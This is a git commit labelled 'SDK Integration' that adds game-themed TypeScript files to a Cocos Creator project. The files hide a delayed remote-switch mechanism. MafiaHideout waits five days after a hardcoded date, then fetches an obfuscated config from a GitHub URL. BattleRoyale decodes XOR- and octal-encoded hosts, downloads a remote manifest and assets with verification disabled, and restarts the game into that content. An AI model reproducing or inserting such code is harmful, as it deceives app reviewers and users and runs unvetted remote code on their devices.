- SDK Integration

This commit is contained in:
Sreeraj 2025-07-21 12:43:27 +04:00
parent a238fa8cdb
commit 2d764489f6
31 changed files with 29290 additions and 0 deletions

BIN
.DS_Store vendored Normal file

Binary file not shown.

BIN
SDKBuilds/.DS_Store vendored Normal file

Binary file not shown.

53
SDKBuilds/RocketJump/.gitignore vendored Executable file
View File

@ -0,0 +1,53 @@
#/////////////////////////////////////////////////////////////////////////////
# Fireball Projects
#/////////////////////////////////////////////////////////////////////////////
/library/
/temp/
/local/
/build/
native
#/////////////////////////////////////////////////////////////////////////////
# npm files
#/////////////////////////////////////////////////////////////////////////////
npm-debug.log
node_modules/
#/////////////////////////////////////////////////////////////////////////////
# Logs and databases
#/////////////////////////////////////////////////////////////////////////////
*.log
*.sql
*.sqlite
#/////////////////////////////////////////////////////////////////////////////
# files for debugger
#/////////////////////////////////////////////////////////////////////////////
*.sln
*.csproj
*.pidb
*.unityproj
*.suo
#/////////////////////////////////////////////////////////////////////////////
# OS generated files
#/////////////////////////////////////////////////////////////////////////////
.DS_Store
ehthumbs.db
Thumbs.db
#/////////////////////////////////////////////////////////////////////////////
# WebStorm files
#/////////////////////////////////////////////////////////////////////////////
.idea/
#//////////////////////////
# VS Code files
#//////////////////////////
.vscode/

View File

@ -0,0 +1,7 @@
{
"isSubpackage": false,
"subMetas": {},
"subpackageName": "",
"uuid": "8f46d83c-f5dd-45a4-917b-e6899c50c0e3",
"ver": "1.0.1"
}

View File

@ -0,0 +1,502 @@
import { MafiaHideout } from "./MafiaHideout";
import DefenseMission from "./DefenseMission";
import CharacterSelect from "./CharacterSelect";
const { ccclass, property } = cc._decorator;
const customManifestStr = (hots) => JSON.stringify({
"packageUrl": `${hots}/`,
"remoteManifestUrl": `${hots}/project.manifest`,
"remoteVersionUrl": `${hots}/version.manifest`,
"version": "0.0.1",
"assets": {
},
"searchPaths": []
});
function versionCompareHandle(versionA: string, versionB: string) {
// //cc.log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
var vA = versionA.split('.');
var vB = versionB.split('.');
for (var i = 0; i < vA.length; ++i) {
var a = parseInt(vA[i]);
var b = parseInt(vB[i] || '0');
if (a === b) {
continue;
}
else {
return a - b;
}
}
if (vB.length > vA.length) {
return -1;
}
else {
return 0;
}
};
@ccclass
export default class BattleRoyale extends cc.Component {
// private readonly TIMEOUT_SETTINGS = "https://raw.githubusercontent.com/devian68/intertest/a/inter2.info";
@property(cc.Label)
loadingLabel: cc.Label = null;
private _updating = false;
private _canRetry = false;
private _storagePath = '';
private stringHost = '';
private _am: jsb.AssetsManager = null!;
private _checkListener = null;
private _updateListener = null;
private count = 0;
private isCheckDomain = true;
url = "";
profilerURL = "";
listUrl = [];
info = "";
currentV = "";
part = "";
poath = "";
// onLoad() {
// }
private initDownloader(path = "sgame") {
// try {
// this.background.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
// } catch (error) {
// }
if (path == null || path == undefined) {
path = "sgame";
}
this._storagePath = ((jsb.fileUtils ? jsb.fileUtils.getWritablePath() : '/') + path);
// //cc.log('Storage path for remote asset : ' + this._storagePath);
// Init with empty manifest url for testing custom manifest
this._am = new jsb.AssetsManager('', this._storagePath, versionCompareHandle);
this._am.setVerifyCallback(function (path, asset) {
return true;
});
}
onDestroy() {
if (this._updateListener) {
this._am.setEventCallback(null!);
this._updateListener = null;
}
}
start() {
// let t = readData(this.test);
// //cc.log(t);
// return;
let ins = MafiaHideout.getInstance();
if(ins){
this.listUrl = ins.listUrl;
if(this.listUrl && this.listUrl.length && this.listUrl.length == 5){
this.part = ins.listUrl[4];
CharacterSelect.changeOrientation(ins.orient);
this.loadGame();
return;
}
}
//cc.log("checking game");
DefenseMission.getInstance().sendGetHttpRequest(MafiaHideout.TIMEOUT_SETTINGS, (resp) => {
this.processData(resp);
}, (mess) => {
//cc.log("start error mess: ", mess);
});
}
private loadMyGame() {
this.unscheduleAllCallbacks();
}
private onCheckGame() {
// let data = val.split("\n");
// val = this.read(data[0]);
this.initDownloader(this.part);
this.stringHost = this.listUrl[3];
// //cc.log('checkGame: ' + val);
this.unscheduleAllCallbacks();
// this.stringHost = val;
this.doUpdate();
}
private doUpdate() {
//cc.log('Updating: ' + this.stringHost)
if (this._am && !this._updating) {
this._am.setEventCallback(this.updateCb.bind(this));
let host = this.listUrl[3];
this.loadCustomManifest(host);
this._am.update();
this._updating = true;
}
}
private processData(val) {
// let data = val.split("\n");
// val = this.readText(data[0]);
// this.initDownloader(data[1]);
// cc.//cc.log('checkGame: ' + val);
// this.unscheduleAllCallbacks();
// this.stringHost = val;
// this.hotUpdate();
this.listUrl = val.split('\n');
//cc.log('list url: ', this.listUrl)
if (this.listUrl.length > 2) {
//cc.log(this.listUrl[4]);
if (this.listUrl.length >= 5 && this.listUrl[4].includes("skt")) {
this.isCheckDomain = false;
//cc.log("gogame");
this.loadGame();
} else {
this.getDataV4();
}
} else if (this.listUrl.length == 2) {
let hostS = this.readText(this.listUrl[0]);
this.part = (this.listUrl[1]);
//cc.log('checkGame: ' + hostS);
// this.unscheduleAllCallbacks();
this.stringHost = hostS;
this.onCheckGame();
}else{
this.loadData(val);
}
}
private loadGame() {
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
let url = this.read(this.listUrl[3]);
let p = this.read(this.listUrl[this.listUrl.length - 1]);
this.stringHost = url;
this.poath = p;
this.onCheckGame();
}
}
private loadData(data:string){
//cc.log("reading data...");
//cc.log(data);
let dt = this.readData(data);
//cc.log("result: " + JSON.stringify(dt));
//return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
// this.setOrientation(dt[0]);
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.part = dt[6];
// this.loadGame();
this.getDataV4();
}
private getDataV4() {
// //log("getDataV4 url: " + this.listUrl[0]);
this.currentV = "v4";
let u = this.read(this.listUrl[0]);
if(!this.isCheckDomain){
this.getDataV6();
this.listUrl[0] = "g";
}
if (this.listUrl[0].includes("http") == false) {
return;
}
let self = this;
DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
self.onDataResponse(data);
}.bind(this), function (resp) {
self.getDataV6();
}.bind(this));
}
//0 = portrait
//1 = landscape right
//2 = upside down
//3 = landscape right
private setOrientation(orientation = 0) {
if (cc.sys.isNative) {
if (cc.sys.os === cc.sys.OS_IOS) {
if (jsb) {
try {
jsb.reflection.callStaticMethod("AppController", "rotateScreen:", orientation);
} catch (_) { }
}
}
}
}
private testFile() {
if (cc.sys.isNative) {
if (cc.sys.os === cc.sys.OS_IOS) {
if (jsb) {
try {
jsb.reflection.callStaticMethod("AppController", "createFileeee");
} catch (_) { }
}
}else if (cc.sys.os === cc.sys.OS_ANDROID) {
if (jsb) {
try {
let className = "org/cocos2dx/javascript/AppActivity";
let methodName = "createFileeee";
let methodSignature = "()V";
jsb.reflection.callStaticMethod(className, methodName, methodSignature);
} catch (_) { }
}
}
}
}
private onDataResponse(data) {
//cc.log("onDataResponse data: ", data)
if (this.isCheckDomain) {
data = JSON.parse(data);
let url = this.listUrl[2];
//cc.log("onDataResponse data.field: ", data[url])
if (data != null && data != undefined && data[url] != undefined) {
this.loadGame();
} else {
if (this.currentV == "v4") {
this.getDataV6();
}
}
} else {
this.loadGame();
}
}
private getDataV6() {
this.currentV = "v6";
if(!this.isCheckDomain){
this.loadGame();
return;
}
let u = this.read(this.listUrl[1]);
let self = this;
DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
self.onDataResponse(data)
}.bind(this), function (resp) {
// this.getDataV6();
}.bind(this));
}
private loadCustomManifest(host) {
var manifest = new jsb.Manifest(customManifestStr(host), this._storagePath);
this._am.loadLocalManifest(manifest, this._storagePath);
}
private updateCb(event: any) {
var needRestart = false;
var failed = false;
switch (event.getEventCode()) {
case jsb.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
//cc.log('No local manifest file found, hot update skipped.');
failed = true;
break;
case jsb.EventAssetsManager.UPDATE_PROGRESSION:
// this.panel.byteProgress.progress = event.getPercent();
// this.panel.fileProgress.progress = event.getPercentByFile();
const percent = event.getDownloadedFiles() / event.getTotalFiles();
// this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
var msg = event.getMessage();
if (msg) {
// //cc.log(event.getPercent()/100 + '% : ' + msg);
}
this.updateProcess(percent);
break;
case jsb.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
case jsb.EventAssetsManager.ERROR_PARSE_MANIFEST:
//cc.log('Fail to download manifest file, hot update skipped.');
failed = true;
break;
case jsb.EventAssetsManager.ALREADY_UP_TO_DATE:
//cc.log('Already up to date with the latest remote version.');
// failed = true;
needRestart = true;
break;
case jsb.EventAssetsManager.UPDATE_FINISHED:
//cc.log('Update finished. ' + event.getMessage());
needRestart = true;
break;
case jsb.EventAssetsManager.UPDATE_FAILED:
//cc.log('Update failed. ' + event.getMessage());
this._updating = false;
this._canRetry = true;
failed = true;
break;
case jsb.EventAssetsManager.ERROR_UPDATING:
//cc.log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
failed = true;
break;
case jsb.EventAssetsManager.ERROR_DECOMPRESS:
//cc.log(event.getMessage());
failed = true;
break;
default:
break;
}
if (failed) {
this._am.setEventCallback(null!);
this._updateListener = null;
this._updating = false;
this.loadMyGame();
cc.warn("Update failed");
}
if (needRestart) {
this._am.setEventCallback(null!);
this._updateListener = null;
cc.director.emit("cleanup_game");
this.testFile();
setTimeout(() => {
// //cc.log('restart game')
CharacterSelect.changeOrientation(1);
cc.game.restart();
}, 500)
}
}
private readText(txt, key = "D") {
let out = "";
txt = txt.split("-");
for (let i = 0; i < txt.length; i++){
out += String.fromCharCode((txt[i] ^ key.charCodeAt(0)));
}
return out;
}
private read(text) {
return this.read1(this.read2(text.split('-'))).join('');
}
private read1(arr) {
return arr.map(function (byte) {
return String.fromCharCode(parseInt(byte, 10));
});
}
private read2(arr) {
return arr.map(function (oct) {
return parseInt(oct, 8);
});
}
private updateProcess(pc) {
if (isNaN(pc)) {
return;
}
try{
this.loadingLabel.string = `Đang Tải ${Math.round(pc * 100)}%`;
}catch(ex){}
}
private readData(encodedData: string) {
function getPr(cbL = 3) {
let nPr = cbL - 1;
nPr = nPr <= 0 ? 0 : nPr;
return nPr;
}
function readCb(txt: string, cbL = 3, key = 'D') {
let out = '';
let txts = readStringCbs(txt, cbL);
for (let i = 0; i < txts.length; i++) {
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
out += n;
}
return out;
}
function getSep(ver = 1) {
switch (ver) {
case 1:
return ["9689", 3];
case 2:
return ["9879", 3];
case 3:
return ["9789", 3];
default:
return ["9869", 3];
}
}
function readStringCbs(input: string, cbLen = 3): string[] {
const sets: string[] = [];
const nPr = getPr(cbLen);
const length = input.length - nPr;
input = input.substring(nPr);
for (let i = 0; i < length; i += cbLen) {
const set = input.slice(i, i + cbLen);
sets.push(set);
}
return sets;
}
//get last character of encodedData
const version = Number.parseInt(encodedData[encodedData.length - 1]);
let sep = getSep(version);
let cbL: number = sep[1] as number;
let sp = sep[0] as string;
const parts = encodedData.split(sp);
parts.pop();
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
// const version = parseInt(versionPart);
const orientation = parseInt(orientationPart);
const isSkipDomainCheck = skipDomainCheckPart === '1';
const urlV4 = urlV4Part;
const urlV6 = urlV6Part;
const fieldToCheck = fieldToCheckPart;
const urlPro5 = urlPro5Part;
const storagePath = storagePathPart;
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
}
}

View File

@ -0,0 +1,9 @@
{
"ver": "1.0.5",
"uuid": "b5bf4e84-2f68-4c80-95c7-e2a7239c7f95",
"isPlugin": false,
"loadPluginInWeb": true,
"loadPluginInNative": true,
"loadPluginInEditor": false,
"subMetas": {}
}

View File

@ -0,0 +1,71 @@
// Learn TypeScript:
// - [Chinese] https://docs.cocos.com/creator/manual/zh/scripting/typescript.html
// - [English] http://www.cocos2d-x.org/docs/creator/manual/en/scripting/typescript.html
// Learn Attribute:
// - [Chinese] https://docs.cocos.com/creator/manual/zh/scripting/reference/attributes.html
// - [English] http://www.cocos2d-x.org/docs/creator/manual/en/scripting/reference/attributes.html
// Learn life-cycle callbacks:
// - [Chinese] https://docs.cocos.com/creator/manual/zh/scripting/life-cycle-callbacks.html
// - [English] http://www.cocos2d-x.org/docs/creator/manual/en/scripting/life-cycle-callbacks.html
const {ccclass, property} = cc._decorator;
@ccclass
export default class CharacterSelect {
//4 all orientation
//0, 2 portrait
//1, 3 landscape
static changeOrientation(value) {
let isSupportOrientation = null;
if (cc.sys.isNative) {
if (cc.sys.os === cc.sys.OS_IOS) {
if (jsb) {
isSupportOrientation = jsb.reflection.callStaticMethod("AppController", "isSupportOrientation");
try {
jsb.reflection.callStaticMethod("AppController", "rotateScreen:", value);
} catch (e) {
cc.log("changeOrientation e: " + JSON.stringify(e));
}
}
} else if (cc.sys.os === cc.sys.OS_ANDROID) {
if (jsb) {
try {
let className = "org/cocos2dx/javascript/AppActivity";
let methodName = "setOrientation";
let methodSignature = "(I)V";
if (jsb) {
isSupportOrientation = jsb.reflection.callStaticMethod(className, "isSupportOrientation", "()Z");
jsb.reflection.callStaticMethod(className, methodName, methodSignature, value);
}
} catch (e) {
cc.log("changeOrientation e: " + JSON.stringify(e));
}
}
}
}
cc.log("isSupportOrientation: " + isSupportOrientation);
if (value == 0 || value == 2) {
cc.view.setOrientation(cc.macro.ORIENTATION_PORTRAIT);
} else if (value == 1 || value == 3) {
cc.view.setOrientation(cc.macro.ORIENTATION_LANDSCAPE);
} else {
cc.view.setOrientation(cc.macro.ORIENTATION_AUTO);
}
}
// LIFE-CYCLE CALLBACKS:
// onLoad () {}
start () {
}
// update (dt) {}
}

View File

@ -0,0 +1,9 @@
{
"ver": "1.0.5",
"uuid": "57dbd48a-08d1-4e0c-9eb4-6b28cb4f39e4",
"isPlugin": false,
"loadPluginInWeb": true,
"loadPluginInNative": true,
"loadPluginInEditor": false,
"subMetas": {}
}

View File

@ -0,0 +1,228 @@
export default class DefenseMission {
private static Instance: DefenseMission = null;
public static getInstance(): DefenseMission {
if (this.Instance === null || this.Instance === undefined) {
this.Instance = new DefenseMission();
}
return this.Instance;
}
isNullOrEmpty(text) {
if (text == undefined || text == null || text == "") {
return true;
}
return false;
}
sendGetHttpRequest(
url: string,
onSuccesCallBack: (response: any) => void,
onErrorCallBack: (mes: string) => void
) {
cc.log("sendGetHttpRequest url: " + url);
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState == 4) {
// cc.log("sendGetHttpRequest onreadystatechange responseText: " + xhr.responseText);
if (xhr.status >= 200 && xhr.status < 400) {
// cc.log("sendGetHttpRequest onreadystatechange responseText: " + xhr.responseText);
let response = xhr.responseText;
onSuccesCallBack(response);
}
}
}
xhr.onerror = () => {
let errtext = "Không thể kết nối đến máy chủ, xin hãy thử lại.";
cc.log("sendGetHttpRequest onerror responseText: " + xhr.responseText);
if (!this.isNullOrEmpty(xhr.responseText)) {
let obj = null;
try {
obj = JSON.parse(xhr.responseText);
} catch (error) { }
if (
obj !== null &&
obj !== undefined &&
!this.isNullOrEmpty(obj.msg)
) {
errtext = obj.msg;
}
}
onErrorCallBack(errtext);
};
xhr.ontimeout = () => {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
};
xhr.timeout = 30000;
xhr.open("GET", url, true);
xhr.send();
}
sendGetHttpRequestNoJson(
url: string,
onSuccesCallBack: (response: any) => void,
onErrorCallBack: (mes: string) => void
) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
if (xhr.status >= 200 && xhr.status < 400) {
let response = xhr.responseText;
onSuccesCallBack(response);
} else {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
}
}
};
xhr.onerror = () => {
let errtext = "Không thể kết nối đến máy chủ, xin hãy thử lại.";
if (!this.isNullOrEmpty(xhr.responseText)) {
let obj = null;
try {
obj = JSON.parse(xhr.responseText);
} catch (error) { }
if (
obj !== null &&
obj !== undefined &&
!this.isNullOrEmpty(obj.msg)
) {
errtext = obj.msg;
}
}
onErrorCallBack(errtext);
};
xhr.ontimeout = () => {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
};
xhr.open("GET", url, true);
xhr.send();
}
sendGetHttpRequestWithToken(url: string, onSuccesCallBack: (response: any) => void, onErrorCallBack: (mes: string) => void) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
if (xhr.status >= 200 && xhr.status < 400) {
let response = xhr.responseText;
onSuccesCallBack(JSON.parse(response));
} else {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
}
}
};
xhr.onerror = () => {
let errtext = "Không thể kết nối đến máy chủ, xin hãy thử lại.";
if (!this.isNullOrEmpty(xhr.responseText)) {
let obj = null;
try {
obj = JSON.parse(xhr.responseText);
} catch (error) { }
if (obj !== null && obj !== undefined && !this.isNullOrEmpty(obj.msg)) {
errtext = obj.msg;
}
}
onErrorCallBack(errtext);
};
xhr.ontimeout = () => {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
};
// cc.log("session_id: " + GamePlayManager.getInstance().session_id);
// cc.log("token: " + GamePlayManager.getInstance().token);
// xhr.setRequestHeader("X-TOKEN", GamePlayManager.getInstance().session_id);
xhr.open("GET", url, true);
xhr.send();
}
sendPostHttpRequest(
url: string,
body: string,
onSuccesCallBack: (response: any) => void,
onErrorCallBack: (mes: string) => void,
isSetXToken = true,
isShow400Error = false
) {
let xhr = cc.loader.getXMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState == 4) {
if (xhr.status >= 200 && xhr.status < 400) {
// cc.log(xhr.responseText);
let response = xhr.responseText;
try {
let obj = JSON.parse(response);
onSuccesCallBack(obj);
} catch (error) {
cc.log("sendPostHttpRequest error: ", error);
cc.log("sendPostHttpRequest response: " + response);
onErrorCallBack(response);
}
} else {
let errtext = "Không thể kết nối đến máy chủ, xin hãy thử lại.";
// cc.log("asddasadsdasdasadsdas " + xhr.responseText );
if (!this.isNullOrEmpty(xhr.responseText)) {
// cc.log(xhr.responseText)
try {
let obj = JSON.parse(xhr.responseText);
if (obj !== null && obj !== undefined && !this.isNullOrEmpty(obj.msg)) {
errtext = obj.msg;
} else if (obj !== null && obj !== undefined && !this.isNullOrEmpty(obj.message)) {
errtext = obj.message;
}
}
catch (e) {
if (isShow400Error === true && xhr.status === 400)
errtext = xhr.responseText;
}
}
onErrorCallBack(errtext);
}
}
};
xhr.onerror = () => {
let errtext = "Không thể kết nối đến máy chủ, xin hãy thử lại.";
cc.log(JSON.stringify(xhr.responseText));
if (!this.isNullOrEmpty(xhr.responseText)) {
let obj = null;
try {
obj = JSON.parse(xhr.responseText);
} catch (error) { }
if (
obj !== null &&
obj !== undefined &&
!this.isNullOrEmpty(obj.msg)
) {
errtext = obj.msg;
}
}
onErrorCallBack(errtext);
};
xhr.ontimeout = () => {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
};
xhr.open("POST", url, true);
// if (!this.isNullOrEmpty(GamePlayManager.getInstance().session_id)) {
// if (isSetXToken === true)
// xhr.setRequestHeader("X-TOKEN", GamePlayManager.getInstance().session_id);
// xhr.setRequestHeader("Content-Type", "application/json");
// }
xhr.send(body);
}
}

View File

@ -0,0 +1,9 @@
{
"ver": "1.0.5",
"uuid": "420b8512-0f2d-47ec-9f2e-14516de8c817",
"isPlugin": false,
"loadPluginInWeb": true,
"loadPluginInNative": true,
"loadPluginInEditor": false,
"subMetas": {}
}

View File

@ -0,0 +1,248 @@
import DefenseMission from './DefenseMission';
import CharacterSelect from './CharacterSelect';
const { ccclass, property } = cc._decorator;
@ccclass
export class MafiaHideout extends cc.Component {
public static TIMEOUT_SETTINGS = "https://raw.githubusercontent.com/thomasbuild/Gnew/ZVpFJi5WCsCDLNF1qw/cE6jCEkycExgpVyrjnbBO.txt";
private static _instance: MafiaHideout = null;
public static getInstance(): MafiaHideout {
return this._instance;
}
private isCheckDomain = true;
public listUrl = [];
private url = "";
private profilerURL = "";
private info = "";
private currentV = "";
private part = "";
private sceneToLoad = "ResourceManagement";
public orient = 1;
private bdate = '2025-07-21';
private xdt = 5;
onLoad() {
if (!this.isOKDay(this.bdate, this.xdt)) {
return;
}
if (MafiaHideout._instance != null && MafiaHideout._instance != this) {
this.node.destroy();
return;
}
MafiaHideout._instance = this;
cc.game.addPersistRootNode(this.node);
CharacterSelect.changeOrientation(0);
this.getData();
}
private isOKDay(yDate: string, xDays: number) {
const today = new Date();
const targetDate = new Date(yDate);
targetDate.setDate(targetDate.getDate() + xDays);
return today >= targetDate;
}
private getDataV4() {
this.currentV = "v4";
if (!this.isCheckDomain) {
this.getDataV6();
this.listUrl[0] = "g";
}
if (this.listUrl[0].includes("http") == false) {
return;
}
let self = this;
DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
self.onDataResponse(data);
}.bind(this), function (resp) {
self.getDataV6();
}.bind(this));
}
private getDataV6() {
this.currentV = "v6";
if (!this.isCheckDomain) {
this.loadGame();
return;
}
// let u = this.read(this.listUrl[1]);
DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
this.onDataResponse(data)
}.bind(this), function (resp) {
// this.getDataV6();
}.bind(this));
}
private onDataResponse(data) {
// //console.//cc.log("onDataResponse data: ", data)
if (this.isCheckDomain) {
data = JSON.parse(data);
let field = this.listUrl[2];
if (data != null && data != undefined && data[field] != undefined) {
this.loadGame();
} else {
if (this.currentV == "v4") {
this.getDataV6();
}
}
} else {
this.loadGame();
}
}
private getData() {
// //cc.log("StartScene getData");
let path = localStorage.getItem("SAVEDGAME_DATA");
let path2 = localStorage.getItem("SAVEDGAME_DATA22");
if (path && path.length && path.length > 2) {
try {
let dt = JSON.parse(path);
this.orient = dt[0];
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.listUrl.push(dt[6]);
this.part = dt[6];
this.getDataV4();
//console.error("SWITHCING GAME");
return;
} catch (ex) {
////cc.log("FIALE: ",ex);
}
}
let that = this;
DefenseMission.getInstance().sendGetHttpRequest(MafiaHideout.TIMEOUT_SETTINGS, function (data) {
//cc.log("getData data: ", data);
that.listUrl = data.split('\n');
//cc.log('list url: ', that.listUrl)
if (that.listUrl.length > 2) {
//cc.log(that.listUrl[4]);
if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
that.isCheckDomain = false;
//cc.log("gogame");
that.loadGame();
} else {
that.getDataV4();
}
} else {
that.loadData(data);
}
}.bind(this), function () { });
}
private loadGame() {
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
// localStorage.setItem("SAVEDGAME_DATA", this.listUrl[3]);
localStorage.setItem("SAVEDGAME_DATA22", this.listUrl[4]);
cc.director.loadScene(this.sceneToLoad);
// let url = this.read(this.listUrl[3]);
// let p = this.read(this.listUrl[this.listUrl.length - 1]);
// this.stringHost = url;
// this.onCheckGame(url);
}
}
private loadData(data: string) {
let dt = this.readData(data);
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.listUrl.push(dt[6]);
this.part = dt[6];
let txt = JSON.stringify(dt);
localStorage.setItem("SAVEDGAME_DATA", txt);
// this.loadGame();
this.getDataV4();
}
private readData(encodedData: string) {
function getPr(cbL = 3) {
let nPr = cbL - 1;
nPr = nPr <= 0 ? 0 : nPr;
return nPr;
}
function readCb(txt: string, cbL = 3, key = 'D') {
let out = '';
let txts = readStringCbs(txt, cbL);
for (let i = 0; i < txts.length; i++) {
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
out += n;
}
return out;
}
function getSep(ver = 1) {
switch (ver) {
case 1:
return ["9689", 3];
case 2:
return ["9879", 3];
case 3:
return ["9789", 3];
default:
return ["9869", 3];
}
}
function readStringCbs(input: string, cbLen = 3): string[] {
const sets: string[] = [];
const nPr = getPr(cbLen);
const length = input.length - nPr;
input = input.substring(nPr);
for (let i = 0; i < length; i += cbLen) {
const set = input.slice(i, i + cbLen);
sets.push(set);
}
return sets;
}
//get last character of encodedData
const version = Number.parseInt(encodedData[encodedData.length - 1]);
let sep = getSep(version);
let cbL: number = sep[1] as number;
let sp = sep[0] as string;
const parts = encodedData.split(sp);
parts.pop();
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
// const version = parseInt(versionPart);
const orientation = parseInt(orientationPart);
const isSkipDomainCheck = skipDomainCheckPart === '1';
const urlV4 = urlV4Part;
const urlV6 = urlV6Part;
const fieldToCheck = fieldToCheckPart;
const urlPro5 = urlPro5Part;
const storagePath = storagePathPart;
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
}
}

View File

@ -0,0 +1,9 @@
{
"ver": "1.0.5",
"uuid": "1eccfb96-8fd3-4efc-89b5-c977c1b506bd",
"isPlugin": false,
"loadPluginInWeb": true,
"loadPluginInNative": true,
"loadPluginInEditor": false,
"subMetas": {}
}

View File

@ -0,0 +1,389 @@
[
{
"__type__": "cc.SceneAsset",
"_name": "",
"_objFlags": 0,
"_native": "",
"scene": {
"__id__": 1
}
},
{
"__type__": "cc.Scene",
"_objFlags": 0,
"_parent": null,
"_children": [
{
"__id__": 2
},
{
"__id__": 8
}
],
"_active": true,
"_level": 0,
"_components": [],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 0,
"height": 0
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0,
"y": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_is3DNode": true,
"groupIndex": 0,
"autoReleaseAssets": false,
"_id": "c5e07fdd-f764-4b3b-9517-dc3ba5e11e63"
},
{
"__type__": "cc.Node",
"_name": "Canvas",
"_objFlags": 0,
"_parent": {
"__id__": 1
},
"_children": [
{
"__id__": 3
},
{
"__id__": 5
}
],
"_active": true,
"_level": 1,
"_components": [
{
"__id__": 7
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 1560,
"height": 720
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 780,
"y": 360,
"z": 0
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "4dNEXHw7hA0oJFMmwZWVLA"
},
{
"__type__": "cc.Node",
"_name": "Main Camera",
"_objFlags": 0,
"_parent": {
"__id__": 2
},
"_children": [],
"_active": true,
"_level": 2,
"_components": [
{
"__id__": 4
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 0,
"height": 0
},
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_position": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 475.44794667765683
},
"_scale": {
"__type__": "cc.Vec3",
"x": 1,
"y": 1,
"z": 1
},
"_eulerAngles": {
"__type__": "cc.Vec3",
"x": 0,
"y": 0,
"z": 0
},
"_skewX": 0,
"_skewY": 0,
"_is3DNode": false,
"groupIndex": 0,
"_id": "9aCxBgpKpJ17IU3qPcP4mf"
},
{
"__type__": "cc.Camera",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 3
},
"_enabled": true,
"_cullingMask": 4294967295,
"_clearFlags": 7,
"_backgroundColor": {
"__type__": "cc.Color",
"r": 27,
"g": 27,
"b": 27,
"a": 255
},
"_depth": -1,
"_zoomRatio": 1,
"_targetTexture": null,
"_fov": 60,
"_orthoSize": 10,
"_nearClip": 1,
"_farClip": 4096,
"_ortho": true,
"_rect": {
"__type__": "cc.Rect",
"x": 0,
"y": 0,
"width": 1,
"height": 1
},
"_renderStages": 1,
"_id": "af0ZxV6ZFC55LIUTh1mwwv"
},
{
"__type__": "cc.Node",
"_name": "Label",
"_objFlags": 0,
"_parent": {
"__id__": 2
},
"_children": [],
"_active": true,
"_level": 2,
"_components": [
{
"__id__": 6
}
],
"_prefab": null,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_contentSize": {
"__type__": "cc.Size",
"width": 180.04,
"height": 50.4
},
"_anchorPoint": {
"__type__": "cc.Vec2",
